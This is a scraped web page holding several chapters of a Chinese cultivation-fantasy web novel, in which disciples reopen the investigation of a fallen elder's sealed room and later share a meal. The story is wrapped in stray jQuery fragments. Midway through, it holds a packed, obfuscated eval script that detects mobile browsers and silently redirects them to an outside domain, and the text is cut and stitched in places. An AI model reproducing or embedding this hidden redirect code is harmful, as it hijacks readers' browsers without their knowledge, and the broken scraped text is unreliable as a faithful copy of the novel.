$(''.inform'').remove(); $(''#content'').append('' 好。 ——就像当时的自己一样。 难道,姬忘尘是来质问自己的?还是说,姬忘尘想要从自己的口中听到当时的答案? 望着面前面容恬静的姬忘尘,秦无纪不免有些惴惴不安,将近二十年的相处,对方的存在早已不可割舍。倘若真的要对她说出那般绝情的话,又该有多伤对方的心…… “师傅最近可好?” 与她料想中完全不同,姬忘尘轻笑着说出寻常的问候,就像往常独自历练之后回来跟她报备的那样。 “我……”秦无纪张了张嘴,不知道该怎么接话。这才半年没见,她好像变得不太了解面前的这个孩子。 “我此行收获良多。……”面前的人似乎看出了自己的手足无措,脸上的笑意反而上扬了些,一本正经地说起这一路的见闻,还有关于汤穗穗身上的进步。 在对方的三言两语间,秦无纪似乎也窥见些许她们这一路上的喜怒哀乐。 就在那一刻,她们的时间好似拉回了过往的二十年中的某个节点,心无芥蒂地聊着这一行的收获。 “穗穗说得对,你应当多笑笑的,”秦无纪从桌案后起身,走到姬忘尘的面前,眼角堆出弯弯的细纹,“很好看,很适合你的这个年纪。别总是苦大仇深地板着脸,显得比我年纪还大了。” 姬忘尘没想到师傅开口的竟然是这句话,露出怔愣的神情。 这一愣,倒是让秦无纪找回了对方几分从前的影子。她又走进了两步,细细地端详着对方如今的状态:与之前相比,对方的状态更从容,脸上的笑容也变多,就连话语也变得生趣。 最明显的变化,还得是对方明亮的眼眸,闪烁着属于她自己的光彩。 ——这一点,倒有几分像咋咋呼呼的汤穗穗。 不过她觉得这是件好事。 她看得出来,现在的姬忘尘变得更自洽了。 想起汤穗穗,她就想起白日时对方毅然离开的背影,也想起了自己那句话。她的心重重地沉了下去,不敢再直视面前的人:“……为什么不走?” “我为什么要走呢?”姬忘尘直接了当地开口,“是因为您要杀了我吗?” 秦无纪猛然抬头,对上姬忘尘平静的神情时,一时间还以为自己方才听岔了。对于自己要杀了她的这件事,在后者的嘴里就这么轻飘飘,就像谈论明天早饭要吃些什么一样。 “……还是说,您想我走?”姬忘尘脸上虽然还是带着笑,眼睛里却有微不可查的失落,但她很快调整过来,“若真是如此,请允许我——” “你不想知道真相吗?”在姬忘尘开口的同时,秦无纪慌忙开口止住了对方的话头。 相识二十载,她自诩还是十分了解对方的性格,她想到了还有一件事:当时对方托蓝鄞送来的铃铛。 以姬忘尘的性格,她一定会将铃铛背后的真相查得一清二楚,才算是对当事人有交代。 也因此,秦无纪马上想起了对方今夜前来的理由,对方一定是为了告别的。 她咽下口水,疾步走到一旁的置物架,从不同的位置取出两对铃铛。一对是当时还未查明真相的原物,另一对是她自己的——那时扬师兄见她因为师弟获胜而闷闷不乐,特地给她制作的仿制品。 仿制的铃铛同样具有屏蔽魔气的能力,此时能给姬忘尘应当是最合适不过了。 秦无纪假模假样的将查明真相的任务安排给姬忘尘,按下心中想将对方留下的真实想法。虽然昨天汤穗穗的反应很大,但现在打量姬忘尘的时候,她认为还没到穗穗口中的程度。 或许是穗穗过于担心师姐,从而将情况下意识夸大,而自己也因为孩子的话语险些做出不恰当的选择。 “……对不起。” “师傅又有何错?您的决定是对的。”接过铃铛的姬忘尘垂眸望着掌心的物件,“待真相查明,我一定会主动离开,不让师傅烦心。” 而现在,就让她再享受片刻留在她们身边的时光。 79.勘探 尽管此刻姬忘尘的心中被感动充斥,但望着铃铛时,她脑海中回想起杜蕴辰带着帷帽的背影。 她一定要知道真相。 而不是让杜蕴辰平白无故遭受这一场苦难。 “但是师傅,”姬忘尘将视线从铃铛上抬起,望着面前人清明的双目,“您认识铃铛的主人,对吗?” 虽然是疑问,但她心中偏向那个肯定的答案。既然知道真相的师傅,为什么又要将明知答案的差事交给自己? ……是希望自己找到答案,还是相反? “你别想那么复杂。”秦无纪从对方的沉默和眼神变化就能读得出所思所想,她不自觉地叹了口气,无可奈何地开口,“左右不过是找个让你留下来的理由而已。” “师傅不必如此,忘尘此生自有命数。”姬忘尘低着头,将手中的两对铃铛送回去,“所以,当真是小师舅吗?” 但秦无纪却只是拿走了白宸的铃铛,将自己的铃铛留给面前人,将对方的手推了回去。她将手中的铃铛拎起,铃铛因为长期的魔气侵蚀,在灯光的映照下,上面镌刻的花纹已经看不太清;与其截然不同的是姬忘尘掌心的那对,在长期的灵气浸润下,变得愈发光彩绚丽。 “事到如今,也不妨告诉你。”秦无纪收回手中的铃铛,将它扔到了一个特制的、封闭魔气的锦囊中,“地缚灵一事,确实是他做的。” “果真如此。”姬忘尘下意识蜷起手掌,将铃铛收紧在掌心,轻声呢喃出口。虽然看似知道了真相,但更有很多未解之谜。 在诱导地缚灵入魔一事中,白宸为什么每隔一段时间要再见地缚灵?他希望在地缚灵身上的得到什么样的结果?……又或者说,白宸真正的谋划是什么? ——而白宸身上的桩桩件件,宗门又是否知情? 哪怕姬忘尘没有将这些疑问讲出口,秦无纪都能猜到对方的心中所想。她将手中的锦囊放回原位,转身看着姬忘尘头顶的发旋,轻声:“我知道你的心中仍有许多疑问,但我对小师——白宸所为,知之甚少。” 那些问题同样是秦无纪想知道的,可师姐当时关于这件事所说的十分有限,只是跟自己一再强调:如果姬忘尘身上出现入魔的迹象,务必马上诛杀净化。 也因此,她眸光复杂地望着面前的女子。 这二十年来,她们虽然算不上朝夕相处,但也切实在自己的眼皮底下长成如今这幅玉树临风的模样。即便她当时信誓旦旦地跟师姐许下了诺言,但真的面对面时,她很难硬下心肠。 “那师傅可知道,当年白宸入魔的细节?”姬忘尘满腹心思挂在铃铛上,连忙追问关于白宸的更多事情。也因此,她并没有察觉到秦无纪复杂的目光。 “关于白宸的事情,师姐曾经做过整理。”秦无纪也收回不合时宜的多情,走向一旁的架子,从书籍中找寻着记录。 过去很长的一段时间里,师姐都将一切整理得井井有条,唯独白宸的这件事,仍有许多尚未解答的疑惑。 不过,现在有了手上的铃铛,或许又能填补许多相关的细节。 “啊,找到了。”秦无纪将特制的卷轴抽出,将其拿到桌案上摊开。她的师姐,前任宗主简明扼要地记录了诛杀白宸当天发生的事情,以及后续的一些处理:为放置魔气逸散,因此宗主用了特制的阵法,将房间封存了起来。 “只有这些吗?”别说姬忘尘,秦无纪也觉得这份记录残缺不全。她皱着眉,不服气地将卷轴颠来复去看了几遍,还用上所有已知的术法,还是没能在卷轴上找到更多的信息。 “算了,或许赵宗主自己也没想明白答案吧。”姬忘尘眼眸难掩失落,但她克制地按下师傅的手。 或许,有的问题就注定没有结果。 “不可能的,明明……”秦无纪执着想要在卷轴上找到答案,她分明记得那一天师姐失态时说出的那句话——“他只是以自己的方式‘救世’”。 “师傅,足够了。”姬忘尘将手放在师傅的手背上,听得出来对方的未尽之意,轻微地摇摇头,“尚未记录的部分或许也是缺乏证据,就交由我来填补吧……我们一定能解答最后的疑问。” 她将目光放在卷轴上的最后一行字:“或许,一切还得从这里找起。” “小师弟的房间?”秦无纪顺着对方的视线看过去,她知道姬忘尘选择这里的理由,但她也看到了卷轴上关于房间的调查。 她有些怀疑,当时的师姐她们都没有找到线索,难道现在现在就能找到了吗? “不试试怎么知道呢?”姬忘尘倒是十分坦然,她再一次望向师傅,“不管有没有线索、找到的东西有没有用,都要亲自勘察过,不是吗?——这还是您教会我的。” 这是秦无纪带着姬忘尘离开宗门时,刚开始历练时候说出的话语。 尚年幼的姬忘尘坐在对方身边,秦无纪一边撕下香喷喷、刚烤好的野鸡,一边漫不经心地说出这句话。 直到现在,姬忘尘还记得那天的烤鸡口味异常美味,她后来没能重现出同样的味道。 既然要去调查,秦无纪担心姬忘尘过于逞强,犹豫再三,还是将蓝鄞安排给她,由她们两人协助完成这场对房间的重新勘探。 “所以说,现在这件复杂的事交给我们了?”蓝鄞双手抱胸,挑眉看向姬忘尘,视线从上到下扫视一圈,脸上还是那副高傲的样子。 “嗯,就麻烦你了。”姬忘尘一早就就找到蓝鄞,表明了来意,还将当时看到的卷宗部分复述给对方。 听着对方的叙述,蓝鄞却品出了点不同寻常的味道,“看来这趟是非去不可了。” 长老们居住在宗门的另一边,更靠近议事殿堂的地方。在两人走过去的时候,姬忘尘将思考了一晚上、仍得不到解答的问题抛了出来:“我还是不明白,他需要地缚灵做什么?” “谁知道呢?说不定就是突然看不顺眼了,又或者天之骄子想要高人一等呗。”蓝鄞抱胸耸耸肩,并不像姬忘尘那般在意。 像这样高傲的人她看过不少,最后都会不约而同地走上自取灭亡的道路。 ……她的家族,就是其中之一。 不过蓝鄞很快回神,将话题转回当下的事情:“我相信他暗自饲魔并非一朝一夕,也就是你曾经提到的地缚灵,或许就是他的第一步。” 从现在拿到的物件来看,白宸的计划至少从几十年前就开始了。他利用除魔的机会,暗自窥探合适的地缚灵,不断实验诱导它们滋生。 姬忘尘知道蓝鄞的推理很合理,可她总有觉得不对劲的地方。 虽然她和小师舅打交道的次数并不多,可她还是觉得对方并非如此。在姬忘尘看来,小师舅虽然经常板着脸,但对几位师长都十分和睦,不像是蓝鄞口中那般处心积虑的人。 “我看得出你在想什么。”蓝鄞偏过头望着姬忘尘脸上的表情轻笑,“论和人打交道,——还是那种满肚子弯弯绕绕的人打交道,这方面我还是比较权威的。” “你永远都不知道,那些人和善的笑脸背后,究竟打着什么主意……”蓝鄞的声音沉了下去,抬头望向身旁的属于,树木的枝叶被山风吹得“沙沙”作响,似乎也在应和着她的话语。 想到那些往事,蓝鄞的脸上不自觉带上了讽刺的笑容,一字一顿地开口:“……你也永远不会 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房间内一切的布置还维持着那天的原样。白宸的房间乍一看十分寻常,周围的布置井井有条,同其她长老的布置并无区别。只不过当时白宸入魔得突然的缘故,桌案上、地上散落着许多涂画过的纸张,还有一些架子上的装饰物被撞落地上,显得一片狼藉。 这些都并非是她们需要关系的事情。 她们对视一眼点头示意,就这样分头开始对整个房间进行仔细的勘探,不放过任何细枝末节的地方。 两人的动作很快,不需要多久就将房间的每个角落仔仔细细地搜了个遍,正如卷轴上所说的,并非找到可疑的地方。 “啧,怎么这么干净。”虽然料到了此行一无所获,但蓝鄞还是小声地抱怨了一句。 身旁的姬忘尘没有应和她的抱怨,反而蹲下来,仔细观察着散落的、涂画得看不清痕迹的纸笺。 “你怀疑,这些乱涂乱画的废纸,还会藏着什么秘密?”蓝鄞也蹲了下来,闭上眼用了法术想要将墨迹清除时,却被姬忘尘按住了手。 还没等蓝鄞说话,身旁按着她手背的人,抬了抬下巴,示意她看向散落的纸张:“我觉得很奇怪。” “什么?” “我一直在想一件事,”姬忘尘垂眸望着这些黑乎乎的纸笺,“小师舅入魔的那天,当真是意外吗?” “……你想说,他是故意的?”蓝鄞顺着对方的想法往里深思,“他究竟要做什么?” “他,缺少验材了。” “验材?!”蓝鄞的声音不自觉放大,重新凝神望着地上的纸笺——她从未被涂画得部分,好像真的看出了几个潦草的“验体”、“死亡”、“失败”之类的字眼。 “你的意思是,那天的入魔是自己当成了验材?!”蓝鄞顺着这方面往里思考。 “不对。”姬忘尘又很快否定自己,“杜蕴辰没死。” 从验材的角度推测,王城的杜蕴辰应当也是他的验材之一。在杜蕴辰还活着的情况下,他不可能以身犯险——即使不知道他的试验是什么,但在他入魔之前,他一定需要拿到杜蕴辰身上的结果。 “所以,后来还发生了什么吗?”蓝鄞觉得后背生寒,下意识站了起来抱着手臂,心有余悸地打量着周围的环境。 方才还算正常的房间,现在在她看来,哪哪都藏着危险——就像魔兽大张着血盘大口,等猎物自己送上门来。 “我不知道。”姬忘尘垂眸,她试图用法术清除上面的污渍,却只会连墨迹一齐清除。 “哪有那么多有的没的……我看啊,就是他自己聪明反被聪明误。”蓝鄞缩着脖子,靠得姬忘尘更近了,嘴上还不饶人地甩出话来。 80.阵法阻隔 尽管姬忘尘背对着蓝鄞,但她还是从对方打颤的声音察觉到对方的状态。她连忙收敛自己发散的想法,将地上散落的纸笺捡拾起来,并用特殊的法术将其隔绝,塞进锦囊中:“差不多了,我们走吧。若是还缺些什么,下次再来吧。” 蓝鄞随即大松了一口气,跟着姬忘尘立马转身离开房间。 即便房间给蓝鄞带来的不适感还没有散去,不过在离开之前,蓝鄞还是主动改善了门上的阵法纹路,避免有人误打误撞碰进去。 在房间里的秘密尚未调查清楚之前,她还是希望维持原状。 原本以为直接离开的姬忘尘也站在一旁,耐心地等待着对方的动作。不知从何时起,蓝鄞不再掩饰自己对于阵法的热爱,并且大方地将其使用出来。 见到对方如今十分娴熟的实战阵法的动作,姬忘尘不由得感慨:“你的阵法好似比以前强上了不少?” “你少来取笑我。”蓝鄞有些脸热,她还是不适应别人的夸奖,梗着脖子继续布阵的动作。 “我可不是取笑你,看到现在的你,我想起了当时秘境中的宋璋前辈。”虽然当时她们并没有亲眼看着宋璋前辈布施阵法,但她还记得前辈夜里专注的神情——现在又再次在蓝鄞的脸上看到。 “……那当然。”蓝鄞听出姬忘尘言语中的认真,没有再反驳。她知道后者的性格,便将这一句真心的夸奖藏进心里。 阵法修缮结束之后,蓝鄞佯装随意地拍拍手,轻抬下巴:“行了,我们下一步去哪?去把纸笺上的墨迹清除干净?” 她们方才试过,纸笺上混在一起的墨迹并非不能去除,只是需要极为认真、耐心去做。 “在此之前,”姬忘尘摇摇头,“我想先去拜访当时调查的长老。” 她还记得卷轴上留下了当时调查的长老名姓,其中一位正是如今戒律堂的话事人秋长老。 毕竟事关当年的调查,有许多细节或许得询问当时的亲历者,是否又留下容易忽视的线索;……其次,她想询问对方,既然当时已经调查过房间,为什么她们此番前来,扔留下这些被墨迹污染的纸笺? 两人快步来到戒律堂。戒律堂堂中气氛肃穆,庭中同门大多板着脸处理事务——除了一位年长的女人随意地靠在主位,轻掀眼皮看向来访的两人。 此人便是她们此行的目的,秋长老。与凌厉干脆的手段相反,掌管着戒律堂的她,却长着一张温和的圆脸,倘若不表明身份,恐怕还会以为是哪位慈祥的前辈。 秋长老得知两人的来意后,考虑到有些事情不方便在大庭广众之下开口,起身将两人带到戒律堂的后院。 “宗主想要重启调查白宸的事情吗?”还没等两人坐定,秋长老开门见山。 姬忘尘并不隐瞒,还提出一些关于剩余纸笺的疑问。 “这样啊……”说起当年的事情,秋长老也有几分感慨,白宸入魔的时机太过突然,她们怎么都想不到,宗主的师弟竟然会走上这样的道路。 秋长老回想起当时的调查,眸光一沉:“我们在白宸的房间中找到了一些书写得十分混乱的纸张,当时便已将一部分运走。只是没想到,纸张上的魔气竟然反过来侵染了旁人——” 四散的灵气又发了心法反噬,加速了同门的死亡。所幸葛长老的及时赶到,将魔气困在其中;同行的还有一位擅长阵法的同门,他将魔气困入阵法中,本想将纸笺中的魔气净化后再读取。 被这么一件突发事情影响,她们都忘了再次回房间检查就将其封印,因此留下了如今两人看到的那些纸笺。 “那这位张长老,如今身在何处?”姬忘尘听得认真,她敏锐地捕捉到对方口中提到的那位运用阵法的师长。而坐在她身旁蓝鄞的目光却有几分游离。 听闻前者的发问,秋长老将视线放在蓝鄞身上。但蓝鄞却移开了目光,并不像插嘴的模样。 秋长老也不勉强对方,接着补充:“这位师哥姓张,正是蓝鄞的师傅。” 说到这里,姬忘尘眸中的神采也黯淡了几分。她清楚地记得,蓝鄞的师傅在十年前就意外殒命。 “张师哥十年前就已经灵散。宗门内再也没有向他一样精通阵法之人,因此留下的阵法无人接手。”秋长老颇感遗憾地开口,“你们年纪尚小不知道,张师哥是仅次于宋师姐的阵法天才,只是在宋师姐灵散后,他便一蹶不振。即便如此,他所领悟的阵法依旧精妙。” 即使这些年中,无论是宗主、亦或是其她同门,都有尝试过破解,终究无功而返。 也因此,秋长老并不抱任何希望,眼神透露几分遗憾和惋惜:“倘若不能将阵法解除,那我们永远不会知道白宸身上还藏着什么秘密。——” 一直沉默的蓝鄞突然开口,打断了秋长老:“我试试。” “就让蓝鄞试试吧。”姬忘尘听到对方自荐,自然主动推举对方能够,“还请秋长老为我们指路。” “你们……唉,也行。”秋长老显然没把两人放在眼里,不过也是应允了两人,起身往前院走去。 既然出去的时候,正好碰上刚踏入堂内的墨陵。墨陵便是秋长老的门徒,如今戒律堂堂中事务正逐渐过渡到他的身上。 “师傅。”墨陵恭恭敬敬地朝秋长老行礼,点头向对方身后的两人问好。 “你且等我一阵。”秋长老最知道自己门徒的性子,直接点明对方的来意。 墨陵也看出三人仍有要事处理,错开身子让几人先行。 秋长老带两人去到宗门阵法净化的地方,映入眼帘的正是散发着墨绿色的、繁琐复杂的阵法。 “请吧。”秋长老为两人让出了位置。 “多谢。”蓝鄞没有推脱,直接上前一步,闭眼感受这股阵法的气息,确实是来自她那灵散多年的师傅。 即使是她如今阵法增进了不少的情况下,依旧觉得十分棘手。她闭着眼下意识拧眉,额头沁出细细密密的汗水。 望着蓝鄞这幅姿态,秋长老的心再一次沉了下去。 她扯出笑脸,强颜欢笑地看向姬忘尘:“这些年来,经常有人想要解除这个阵法……我想,这世上解开的可能,也就是有阿璋那样的天才再生了。” 姬忘尘并不这么觉得:“我相信蓝鄞。” 她们不约而同地望向了蓝鄞。此时的她已经变换了思路,她全神贯注地运用法术将阵法拓录下来,想要回去再细细钻研一番。 “……或许吧。”秋长老轻叹一口气,不置可否。 她萌生过很多次希望,也见到了无数次希望,如今她的心中百感交集。每次站在这里,身旁站着不同的面孔,看着她们试图解开看着阵法又失败的面孔,总是会觉得遗憾。 见证当年事情的人也已陆续辞世,现如今她的身体也每况愈下。 不知道在她的有生之年,是否还会有机会知晓当年白宸身上隐藏的秘密……倘若当真真的蕴含什么阴谋,不知道真相解明的那日,她们还是否来得及? “好了。”蓝鄞的声音唤回了秋长老的思绪。 她眨眨眼回神,听着她们的告别,机械式地点头应允。望着两人离开的背影,她也收拾收拾心情转身回到戒律堂。 她到堂中的时候,墨陵已经有条不紊地处理着剩下的事务。 望着坐在主位上板着脸的墨陵,秋长老心中又萌生感慨时光的念头。谁知当年稚嫩的孩童,如今竟然长成这幅不苟言笑的模样——跟她一点都不像。 “师傅。”墨陵感受到一道强烈的视线,从桌案的文件中抬头,正好正好对上自家师傅望着自己抬头叹气的画面。他连忙起身走近师傅,还以为自己是做错了什么。 “你别光长个不长脑子。”尽管墨陵比自己还高一个头,但秋长老毫不客气地伸手拍了把对方的脑袋,“——说吧,你的正事。” “我接下了任务,这段时间或许需要师傅您再照拂堂中几分。” “就这点事?你把你师傅我当成什么甩手掌柜了?”秋长老无可奈何地开口,“我只是将堂中的事务过渡给你,又不是 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前几日唐澄澄的得到汤穗穗的启发,对自己的装置做出一些改良,于是今天又找到对方,想让对方再提出一些建议。不过汤穗穗自认为自己还是行外人,还是不要班门弄斧。 但她也还是给对方提出了检验的办法:历练。 两人一拍即合,也就想去找合适的历练任务测验一下。 ——没想到正好就在这里遇上了三位师姐。 “既然今日如此有缘,我们又这么久没见面,不如就由我做东,请你们吃顿好的。”眼看人到齐了,成洱也起了兴致,笑着说,“珍馐轩怎么样,我记得上回穗穗还念叨过,今日时间尚早,现在预定应当还来得及。” “真的吗?”这下唐澄澄意外地瞪大了双眼。 连她这样鲜少下山的人都知道,珍馐轩口味和预订出了名的——前者是众所周知的美味佳肴,后者是家喻户晓的预定困难。 “放心好了,既然我能给你们夸下这个海口,就证明我有办法。”成洱笑着宽慰师妹,抬头又看了看天,“若是现在做决定,那我们还赶得上一顿中饭。” “那当然同意啦,毕竟是成师姐请客。”在成洱面前,蓝鄞也没那么多客套话。 ……更重要的当然是,蓝鄞自己也很久没品尝过珍馐轩的美味,现在光听到就已经勾得腹中馋虫蠢蠢欲动。 成洱含笑将视线放到一旁的汤穗穗和姬忘尘身上,等待两人的答案。 “还是不了吧。”汤穗穗的笑容有些勉强,她下意识将视线望向师姐,毕竟师姐身上还藏着秘密,她不知道在师姐们的接触中会不会被发现端倪…… “我想去。”一反常态的,姬忘尘和汤穗穗提出了截然不同的决定,“不用担心,吃顿饭而已。” 她理解汤穗穗的担忧,不过现在她身上还带着师傅给的铃铛,就算是仿制品,也能像当时的杜蕴辰一样将身上的魔气藏匿——更何况,现在的她又感受不到那股魔气了。 所以她还是怀着少许的侥幸心理。 但她也不会久留。 等调查完真相,她就会如约离开。 ……正因如此,她才更像珍惜片刻和她们相处的时光。 既然师姐那么说了,汤穗穗也不再反驳。 大不了,师姐真的入魔的时候,自己站在师姐面前保护她就行了。 “穗穗怎么一脸……”成洱望着汤穗穗脸上那副难以概括的神情,只觉得十分纳闷,下意识将视线又放回姬忘尘身上——她直觉认为根源在忘尘师妹身上。 “姬忘尘她功法堵塞,偶尔用不出灵力。”蓝鄞先一步开口,这也是姬忘尘告诉她的说辞。 “原来如此。”成洱了然点点头,只以为是穗穗护姐心切,“别担心,穗穗,我们一定会保护好忘尘的。——那这样,我先下山去预订,你们呢就收拾收拾,差不多午时左右再下山就够了。” 其余四人也想将手头事情解决,均点头应允。 81.各自有道 告别了几位师姐之后,汤、唐两人就按着原来的安排,去到分发任务的地方,想要找到合适的任务。 虽然这是唐澄澄第一次自己来找任务,但之前她也有跟师姐一起历练过,也就知道领任务的流程。不过出乎她意料的是,最近一周内的队伍只剩下唯一一组。 “啊……只剩下这个了吗?”她看清领队的名字,好似一道晴天霹雳,劈得她唉声叹气。她不死心地望向分发任务的长老,长老耸耸肩,脸上笑得无奈。 只一眼,唐澄澄便了然对方的意思,望着名字垂头丧气。 这几天里,长老不止一次见到类似的愁眉苦脸的面庞。 “怎么啦?我看看……”而一旁游神的汤穗穗听到好友沮丧的叹气声,回神探头凑到对方身边,望向上面的组队要求,“……‘四天后出发、西南方魔气密集处’……这个队伍有什么不好吗?” 她抬头望向面前的长老,眼神充满疑惑。光这么乍一看,也不是她所设想那种十分棘手的任务。 “毕竟……”分发的长老欲言又止,犹豫再三只好用眼神示意。 汤穗穗顺着对方的视线望过去,领队人用犀利的字体写着“墨陵”二字,下意识地开口:“墨陵……怎么了吗?” 她还记得这个名字,半年前她们曾在江面上短暂地打过照面;也还记得就是这个板着脸的男子,将出言不逊的同门拿下。 ……好像是什么“戒律堂”的人? “墨陵师兄是戒律堂堂主秋长老的门徒,性格比较……”身旁的唐澄澄伸手揉乱了头发,一脸纠结地解释:“刚直不阿,一丝不苟。宗门里很多人都比较畏惧墨陵师兄……” 再加上墨陵师兄常年板着脸,一副十分不好惹的模样;加上他处理戒律堂事务时的雷厉风行……不说旁人,唐澄澄自己也对这位师哥敬而远之。 可如果不选上墨陵师兄的任务,再有空缺的队伍已经是七日之后。 针对这一点,唐澄澄心中十分犹豫。一方面,她想早日完成装置的试验,这样可以更快地查漏补缺,;可另一方面,倘若要跟墨陵师兄组队,她光是想想就已经萌生退意…… 不过既然还有名额…… 她一边想着,一边缓缓转头,将视线挪到身旁的好友身上。 原本认真阅读的汤穗穗敏锐察觉到,抬头和对方对视一眼,马上领悟她的意图:“你想我也去?不行不行——” 对于汤穗穗来说,现在师姐的状况还那么敏感,要是自己离开之后出了什么事,她可不敢打包票。 “别急着拒绝嘛……”唐澄澄并不知晓内情,只以为对方是不想掺和这桩麻烦事,“我想着要是有相熟的人陪同,我也能安心不少……” 这话也是实话。 从她晋升结丹之后,出门的历练总是跟着自家师姐成洱,还没有独立地出去过。这次对她来说也是一个不小的挑战,她还是希望身边能有稍微熟悉一些的人,这样也能安心一些。 还有一点,了解这个装置的人,在宗门中除了自己便是汤穗穗。本来这一趟试炼就打着磨合的想法,若是自己孤身一人前去,唐澄澄又不知道能不能顺利进行。 “这……”汤穗穗被对方说得有些心软。 其实墨陵这张任务单也写得十分清晰。此行目的地是曾经除过魔种的地方,只不过最近又感应到魔气,她们这一程算是打探情况,算不上困难。 除了墨陵之外,队伍中还有四个元婴期,现在招募的是三个结丹期的位置。 对于汤穗穗自己来说,她也没有和除师姐以外的人组过队。若是能和唐澄澄走上这一趟,应当也能有不少的收获。 但很快,她又想到师姐,皱着眉拒绝:“还是不了吧……” 只是现在的拒绝跟方才比起来,少了几分坚定。 “没关系的,穗穗要不跟忘尘师姐商量商量?”唐澄澄从好友脸上的纠结猜到些什么。 既然提及忘尘师姐……她眼睛一转,想到了另一个办法。 她佯装撇开实现思考,实际上余光紧盯着汤穗穗脸上的表情:“说起忘尘师姐,不如我直接去找忘尘师姐吧——” “不行!”汤穗穗果然如唐澄澄所料,立马开口截断后者的话,这次态度坚决了许多,“不可以找师姐!——算了,我考虑考虑。”汤穗穗当然看出对方的激将法,但她又不能真的看着对方去找师姐。 万一师姐应承下来,跟墨陵师兄走一块,路上再出点什么事—— 汤穗穗马上想到当时墨陵板着脸的阴沉模样;又想起当时那副铁面无私的样子——她惊得下意识打了个寒颤,再也不敢细想下去,用力地晃头,想将这个想法甩出脑海。 这个烦人想法一直持续到她们在珍馐轩汇合。 提前预定位置的成师姐果然如她所言,顺利地定上位置——还是个环境清幽的小包厢,屏蔽了大厅带来的嘈杂。 “怎么了穗穗,一进门就看到你愁眉苦脸的样子?”早在包厢内等候的成洱一眼就看到汤穗穗脸上的愁云。 这份愁闷挂在她的脸上实在过于明显,让成洱不能说服自己忽视。 “……啊,没事没事,只是碰巧在想事情。”汤穗穗连忙回神,习惯性地带起脸上的笑容并摆摆手。为了不让对方继续追问下去,她索性坐在对方身边,主动说起自己历练的趣事,岔开了话题。 对汤穗穗来说,关于师姐的事情,越少人知道越好。 比小姑娘年长不少的成洱也不会追问旁人不愿明说的事情,因此也不介意对方岔开话题,反而顺着对方的心思说下去。 她们聊了没一会,蓝鄞和姬忘尘也到了。 方才分别之后,她们将房间中得到的线索进行了整合。吃完饭之后,就有姬忘尘负责纸笺上墨迹的清理,而蓝鄞则抓紧时间找到破解阵法之道。 不过坐在饭桌时,她们不会将这些令人烦忧之事摆出来。 毕竟美味佳肴在前,当务之急时享受这场色香味俱全的盛宴。 在动筷的间隙,速来健谈的成洱和汤穗穗默契地调动起桌上的气氛。说说笑笑见,笑容不经意地爬满了她们的面庞。 与最初那次同桌进餐相比,饭桌上少了暗潮涌动,多了几分心意相通。 这顿饭下来,无论是身心都得到了极大的放松。 简单的聚餐结束后,几人终要分道扬镳。蓝鄞急着回去钻研阵法;汤穗穗和唐澄澄习惯性地粘着两位师姐离开。 “方才吃得还好吗?”成洱低头望向唐澄澄,她习惯性地关心师妹有没有吃饱、是不是碍于面子又饿着自己。 “我吃得很好。”和师姐相处的唐澄澄更放松一些,笑着将方才令人回味的菜式数了出来。 成洱非但不觉得乏味,反而听得津津有味。 有了师姐的鼓励,唐澄澄更是一股脑将方才的想法抖了出来,“对了师姐,我听说珍馐轩不是很难预定的吗?” 虽然知道自家师姐神通广大,但她还是按耐不住心中的好奇。 “是难预约,不过碰巧我和珍馐轩的老板算是旧识。”成洱没想过隐瞒师妹,三言两语将过往阐明。 可惜那些都是很久以前的事情了。 那时的成洱还是镖局的继承人,和珍馐轩的老板是发小,感情深厚。后来她上了宗门,这位发小也就继承了家业,继续经营“珍馐轩”的牌招牌。 除了她们两人以外,…… 说起旧事,成洱不免有几分怀念:“扬佑平也算是我在山下听到山上的名字了。” “您竟然和扬前辈……”听到这个名字,唐澄澄不免瞪大了双眼。她当然记得这个名字,对方可是在宗门上收藏、编纂机关书籍最多的人。 “他可比我们大上一轮,很早就上了山。因为我们家庭是世交,也就一直被家中人提起。他痴迷机关术的程度,与你有过之而无不及,可也是呕心沥血地制作链剑之后,受功法反噬而亡。”说起对方的结局,成洱的视线变得十分落寞,轻声叹了口气,“……当得知你喜欢机关术时,我可真是百感交集——我既高兴你能找到热爱,更害怕你会步上他的后尘。” 这些话成洱从来没跟师妹说过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819945|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知怎的,说着说着,这些话自然而然就出口了。 等她回过神来,只觉得有些脸热,不自觉地轻咳出声,想要转移话题。 “师姐……”站在身旁的唐澄澄更是心潮翻涌,久久不能平静,轻声呢喃开口。 她一直以为师姐是不喜欢自己“不务正业”,没想到竟然还有这么一层关系。 与这边温情满满相比,另一边的师姐妹气氛却有些凝滞。两人沉默地走向宗门的方向,但谁都没有先开口。 不知道走了多远、过了多久,汤穗穗不自觉地捏紧了衣摆:“师姐……” “穗穗……” 却没想到,那阵诡异的沉默之后,两人又异口同声。 “师姐先说吧。” “嗯……没什么。”姬忘尘没有推脱,将心中想法直接开了口,“我也只是想问问,你的脸色好像不太好,是发生什么了吗?” 虽然汤穗穗掩饰得很好,但姬忘尘还是捕捉到了藏在笑脸背后的自然。 “……没有。”汤穗穗也知道师姐会看出来,她也是想跟对方说方才的事情,只是一直都不知道应当怎么开口。 想起方才唐澄澄的话语,她有些担心对方真的找到师姐…… “跟我有关……对吗?”姬忘尘看着师妹犹豫不决的脸色,就知道事情很大程度上又跟自己相关,她垂眸掩下思绪,“其实不用考虑我的,你只管做就好了。” “不是这样的。”从师姐的语气,汤穗穗马上听出对方肯定是想歪了,连忙将方才的发生的事情、自己矛盾的地方如实跟师姐开口。 听完师妹的解释,姬忘尘轻微地松了口气,她没想到竟然只是这么一件微不足道的小事。 “倘若我没有魔种,你会怎么选?” “那我肯定会跟澄澄去的啊!”汤穗穗不假思索。 虽然她不是很懂机关装置上的事情,但她很支持好友的设计方向,如果能够帮上好友,那对她来说是最好不过的事情。 “那就去吧。”姬忘尘站定在山路上阴影的地方,伸手也将汤穗穗拉了进来,阳光从树叶的间隙洒了下来。 她伸手拿走落在穗穗头上的绿叶,用平和的语气向对方开口:“穗穗,这些本来就是我原本应当承受的,而不是由你来帮我处理。” “可是……” 